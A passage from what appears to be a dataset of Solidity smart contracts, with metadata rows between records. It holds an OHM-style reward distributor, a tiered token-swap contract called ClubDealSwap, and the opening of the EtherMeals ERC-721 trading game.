function startSale(uint256 saleStart, uint256 saleStop) onlyOwner returns (bool success) {
require(saleStop > now);
startTime = saleStart;
stopTime = saleStop;
crowdsaleClosed = false;
return true;
}
//Allows owner to stop the crowdsale immediately
function stopSale() onlyOwner returns (bool success) {
stopTime = now;
crowdsaleClosed = true;
return true;
}
}
| 213,085 | 14,156 |
dd772a5b2293e36fd86307dc9a1713e0d3e94a73970404bd49e765ec3f3750eb
| 18,295 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e6/e66b36f0aa899964c79b77026cadda18bf693034_Distributor.sol
| 4,034 | 15,963 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.6;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
address public initializer;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
initializer = msg.sender;
}
function initFirstEpochTime(uint32 _epochtime) external{
require(msg.sender == initializer, "not allowed");
nextEpochTime = _epochtime;
initializer = address(0);
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 114,709 | 14,157 |
f8a0703da46ac313bdf9d6f27272082b0aa52ef7c63c5c946ed6ea049d3c6c46
| 15,479 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x1fb3bc482b26891939bc116ba7ee81605753683c.sol
| 3,934 | 14,912 |
pragma solidity 0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface PolvenStakingStructs {
struct Stake {
uint256 amount;
uint256 normalizedAmount;
}
struct StakeTimeframe {
uint256 amount;
uint256 normalizedAmount;
uint256 lastStakeTime;
}
}
interface PolvenStaking is PolvenStakingStructs {
function userStakes(address) external view returns(Stake memory);
function userStakesTimeframe(address) external view returns(StakeTimeframe memory);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ClubDealSwap is Ownable, PolvenStakingStructs {
using SafeMath for uint256;
event SwappFromPolven (address user, uint256 polvenAmount, uint256 tokenAmount, uint256 discountPercentage, uint256 counter);
event SwappFromToken (address user, uint256 polvenAmount, uint256 tokenAmount, uint256 discountPercentage, uint256 counter);
event SetPolvenPrice(uint256 oldPolvenPrice, uint256 newPolvenPrice);
event SetTokenPrice(uint256 oldTokenPrice, uint256 newTokenPrice);
event NewTier(string title, uint256 percent, uint256 amount);
event DeleteTier(uint index, string title, uint256 percent, uint256 amount);
event UpdateTier(uint index, string oldTitle, uint256 oldPercent, uint256 oldAmount, string newTitle, uint256 newPercent, uint256 newAmount);
event CreateProposal(uint256 expirationDate, address token, uint256 tokenPrice);
event TransferStuckERC20(IERC20 _token, address _to, uint256 _amount);
event CloseProposal(uint256 counter);
uint256 public counter;
enum AdminStatus { CLOSED, OPEN }
enum ProposalStatus { CLOSED, OPEN }
struct Tier {
string title;
uint256 percent;
uint256 amount;
}
struct Proposal {
uint256 expirationDate;
IERC20 token;
uint256 tokenPrice;
AdminStatus adminStatus;
}
PolvenStaking public staking;
uint256 public polvenPrice;
IERC20 public polven;
Tier[] tiers;
mapping(uint256 => Proposal) public proposals;
address burnAddress;
uint256 oneHundredPercent = 10000;
constructor(address _staking, address _polven, uint256 _polvenPrice) public {
counter = 0;
staking = PolvenStaking(_staking);
polven = IERC20(_polven);
polvenPrice = _polvenPrice;
burnAddress = address(0x0000000000000000000000000000000000000000dEaD);
}
function create(uint256 expirationDate, address token, uint256 tokenPrice) external onlyOwner {
require(expirationDate > block.timestamp, "Incorrect expiration date");
if(counter > 0) {
require(getProposalStatus(counter) == ProposalStatus.CLOSED, "The previous proposal is not over yet");
}
counter++;
proposals[counter].expirationDate = expirationDate;
proposals[counter].token = IERC20(token);
proposals[counter].tokenPrice = tokenPrice;
proposals[counter].adminStatus = AdminStatus.OPEN;
emit CreateProposal(expirationDate, token, tokenPrice);
}
function swappFromPolven(uint256 _counter, uint256 polvensAmount) external {
require(counter > 0, "Proposal has not been created yet");
require(_counter == counter, "Incorrect counter");
require(getProposalStatus(counter) == ProposalStatus.OPEN, "Proposal closed");
require(polvensAmount > 0, "Incorrect polvens amount");
uint256 tokensAmount;
uint256 discountPercentage;
(tokensAmount, discountPercentage) = calculateTokensAmount(msg.sender, polvensAmount);
require(polven.transferFrom(msg.sender, burnAddress, polvensAmount), "Polven transfer failed");
require(proposals[counter].token.transfer(msg.sender, tokensAmount), "Token transfer failed");
emit SwappFromPolven(msg.sender, polvensAmount, tokensAmount, discountPercentage, counter);
}
function swappFromToken(uint256 _counter, uint256 tokensAmount) external {
require(counter > 0, "Proposal has not been created yet");
require(_counter == counter, "Incorrect counter");
require(getProposalStatus(counter) == ProposalStatus.OPEN, "Proposal closed");
require(tokensAmount > 0, "Incorrect tokens amount");
uint256 polvensAmount;
uint256 discountPercentage;
(polvensAmount, discountPercentage) = calculatePolvensAmount(msg.sender, tokensAmount);
require(polvensAmount > 0, "Incorrect polvens amount");
require(polven.transferFrom(msg.sender, burnAddress, polvensAmount), "Polven transfer failed");
require(proposals[counter].token.transfer(msg.sender, tokensAmount), "Token transfer failed");
emit SwappFromToken(msg.sender, polvensAmount, tokensAmount, discountPercentage, counter);
}
function calculateTokensAmount(address user, uint256 polvensAmount) public view returns(uint256, uint256) {
require(counter > 0, "Proposal has not been created yet");
int tierIndex = getAvailableTierIndex(user);
require(tierIndex >= 0, "Not enough staked Polvens");
uint256 tokenPrice = proposals[counter].tokenPrice;
uint256 discountPercentage = tiers[uint256(tierIndex)].percent;
uint256 tokensAmount = polvensAmount.mul(polvenPrice).div(tokenPrice.mul(oneHundredPercent.sub(discountPercentage)).div(oneHundredPercent));
return (tokensAmount, discountPercentage);
}
function calculatePolvensAmount(address user, uint256 tokensAmount) public view returns(uint256, uint256) {
require(counter > 0, "Proposal has not been created yet");
int tierIndex = getAvailableTierIndex(user);
require(tierIndex >= 0, "Not enough staked Polvens");
uint256 tokenPrice = proposals[counter].tokenPrice;
uint256 discountPercentage = tiers[uint256(tierIndex)].percent;
uint256 polvensAmount = tokensAmount.mul(tokenPrice.mul(oneHundredPercent.sub(discountPercentage)).div(oneHundredPercent)).div(polvenPrice);
return (polvensAmount, discountPercentage);
}
function getProposalByCounter(uint256 _counter) external view returns(uint256, IERC20, uint256, ProposalStatus) {
return (proposals[_counter].expirationDate, proposals[_counter].token, proposals[_counter].tokenPrice, getProposalStatus(_counter));
}
function getLastProposal() external view returns(uint256, IERC20, uint256, ProposalStatus) {
return (proposals[counter].expirationDate, proposals[counter].token, proposals[counter].tokenPrice, getProposalStatus(counter));
}
function getAvailableTierIndex(address user) public view returns(int) {
require(tiers.length > 0, "No tiers available");
uint256 stakingAmount = getStakingAmount(user);
for (int i = int(tiers.length) - 1; i >= 0; i--) {
if (stakingAmount >= tiers[uint(i)].amount) {
return int(i);
}
}
return -1;
}
function setPolvenPrice(uint256 _polvenPrice) public onlyOwner {
require(_polvenPrice > 0, "Incorrect price");
uint256 oldPolvenPrice = polvenPrice;
polvenPrice = _polvenPrice;
emit SetPolvenPrice(oldPolvenPrice, _polvenPrice);
}
function setTokenPrice(uint256 _tokenPrice) public onlyOwner {
require(_tokenPrice > 0, "Incorrect price");
require(counter > 0, "Proposal has not been created yet");
uint256 oldTokenPrice = proposals[counter].tokenPrice;
proposals[counter].tokenPrice = _tokenPrice;
emit SetTokenPrice(oldTokenPrice, _tokenPrice);
}
function setPrices(uint256 _polvenPrice, uint256 _tokenPrice) external onlyOwner {
setPolvenPrice(_polvenPrice);
setTokenPrice(_tokenPrice);
}
function getTiers() external view returns(Tier[] memory) {
return tiers;
}
function getTiersLength() external view returns(uint) {
return tiers.length;
}
function getTierByIndex(uint index) external view returns(string memory title, uint percent, uint256 amount) {
return (tiers[index].title, tiers[index].percent, tiers[index].amount);
}
function addTier(string memory title, uint256 percent, uint256 amount) public onlyOwner {
require(percent > 0, "Percent must be greater than 0");
require(amount > 0, "Amount must be greater than 0");
if(tiers.length > 0) {
require(percent > tiers[tiers.length - 1].percent, "Percent must be greater than the previous value");
require(amount > tiers[tiers.length - 1].amount, "Amount must be greater than the previous value");
}
tiers.push(Tier(title, percent, amount));
emit NewTier(title, percent, amount);
}
function deleteTier(uint index) public onlyOwner {
require(index < tiers.length, "Incorrect index");
Tier memory deletedTier = tiers[index];
for (uint i = index; i < tiers.length - 1; i++){
tiers[i] = tiers[i+1];
}
tiers.pop();
emit DeleteTier(index, deletedTier.title, deletedTier.percent, deletedTier.amount);
}
function updateTier(uint index, string memory title, uint256 percent, uint256 amount) public onlyOwner {
require(tiers.length > 0, "Array is empty");
require(index < tiers.length, "Incorrect index");
require(percent > 0, "Percent must be greater than 0");
require(amount > 0, "Amount must be greater than 0");
if(index == 0 && tiers.length > 1) {
require(percent < tiers[1].percent, "Percent must be less than the next value");
require(amount < tiers[1].amount, "Amount must be less than the next value");
}
if(index == tiers.length - 1 && tiers.length > 1) {
require(percent > tiers[tiers.length - 2].percent, "Percent must be greater than the previous value");
require(amount > tiers[tiers.length - 2].amount, "Amount must be greater than the previous value");
}
if(index > 0 && index < tiers.length - 1) {
require(percent < tiers[index + 1].percent, "Percent must be less than the next value");
require(amount < tiers[index + 1].amount, "Amount must be less than the next value");
require(percent > tiers[index - 1].percent, "Percent must be greater than the previous value");
require(amount > tiers[index - 1].amount, "Amount must be greater than the previous value");
}
Tier memory updatedTier = tiers[index];
tiers[index].title = title;
tiers[index].percent = percent;
tiers[index].amount = amount;
emit UpdateTier(index, updatedTier.title, updatedTier.percent, updatedTier.amount, title, percent, amount);
}
function transferStuckERC20(IERC20 _token, address _to, uint256 _amount) external onlyOwner {
require(_token.transfer(_to, _amount), "Token: Transfer failed");
emit TransferStuckERC20(_token, _to, _amount);
}
function closeLastProposal() external onlyOwner {
proposals[counter].adminStatus = AdminStatus.CLOSED;
emit CloseProposal(counter);
}
function getStakingAmount(address user) private view returns(uint256) {
Stake memory userStakes = staking.userStakes(user);
StakeTimeframe memory userStakesTimeframe = staking.userStakesTimeframe(user);
return userStakes.amount + userStakesTimeframe.amount;
}
function getProposalStatus(uint256 _counter) private view returns(ProposalStatus) {
if(proposals[_counter].adminStatus == AdminStatus.CLOSED) {
return ProposalStatus.CLOSED;
}
if(proposals[_counter].expirationDate <= block.timestamp) {
return ProposalStatus.CLOSED;
}
return ProposalStatus.OPEN;
}
}
| 274,533 | 14,158 |
72147a0eb3257281aafad8f42636518eb92c53e8c8dba65f418bcb5a38987a69
| 14,412 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Game/0x0c495b4716462d89c564ba79e7de477b543e0e30.sol
| 3,695 | 13,255 |
pragma solidity ^0.4.18; // solhint-disable-line
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley (https://github.com/dete)
contract ERC721 {
// Required methods
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract EtherMeals is ERC721 {
/// @dev The Birth event is fired whenever a new Meal comes into existence.
event Birth(uint256 tokenId, string name, address owner);
/// @dev The TokenSold event is fired whenever a token is sold.
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
/// @dev Transfer event as defined in current draft of ERC721.
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant NAME = "EtherMeals"; // solhint-disable-line
string public constant SYMBOL = "MealToken"; // solhint-disable-line
uint256 private startingPrice = 0.001 ether;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
/// @dev A mapping from meal IDs to the address that owns them. All meals have
/// some valid owner address.
mapping (uint256 => address) public mealIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping (address => uint256) private ownershipTokenCount;
/// @dev A mapping from MealIDs to an address that has been approved to call
/// transferFrom(). Each Meal can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping (uint256 => address) public mealIndexToApproved;
// @dev A mapping from MealIDs to the price of the token.
mapping (uint256 => uint256) private mealIndexToPrice;
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
struct Meal {
string name;
}
Meal[] private meals;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
function EtherMeals() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom().
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(address _to,
uint256 _tokenId) public {
// Caller must own token.
require(_owns(msg.sender, _tokenId));
mealIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
/// For querying balance of a particular account
/// @param _owner The address for balance query
/// @dev Required for ERC-721 compliance.
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
/// @dev Creates a new Meal with the given name.
function createContractMeal(string _name) public onlyCLevel {
_createMeal(_name, address(this), startingPrice);
}
/// @notice Returns all the relevant information about a specific meal.
/// @param _tokenId The tokenId of the meal of interest.
function getMeal(uint256 _tokenId) public view returns (string mealName,
uint256 sellingPrice,
address owner) {
Meal storage meal = meals[_tokenId];
mealName = meal.name;
sellingPrice = mealIndexToPrice[_tokenId];
owner = mealIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
/// @dev Required for ERC-721 compliance.
function name() public pure returns (string) {
return NAME;
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = mealIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId) public payable {
address oldOwner = mealIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = mealIndexToPrice[_tokenId];
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 92), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
// Update prices
if (sellingPrice < firstStepLimit) {
// first stage
mealIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 90);
} else if (sellingPrice < secondStepLimit) {
// second stage
mealIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 90);
} else {
// third stage
mealIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 90);
}
_transfer(oldOwner, newOwner, _tokenId);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment); //(1-0.08)
}
TokenSold(_tokenId, sellingPrice, mealIndexToPrice[_tokenId], oldOwner, newOwner, meals[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return mealIndexToPrice[_tokenId];
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/// @dev Required for ERC-721 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @notice Allow pre-approved user to take ownership of a token
/// @param _tokenId The ID of the Token that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = mealIndexToOwner[_tokenId];
// Safety check to prevent against an unexpected 0x0 default.
require(_addressNotNull(newOwner));
// Making sure transfer is approved
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
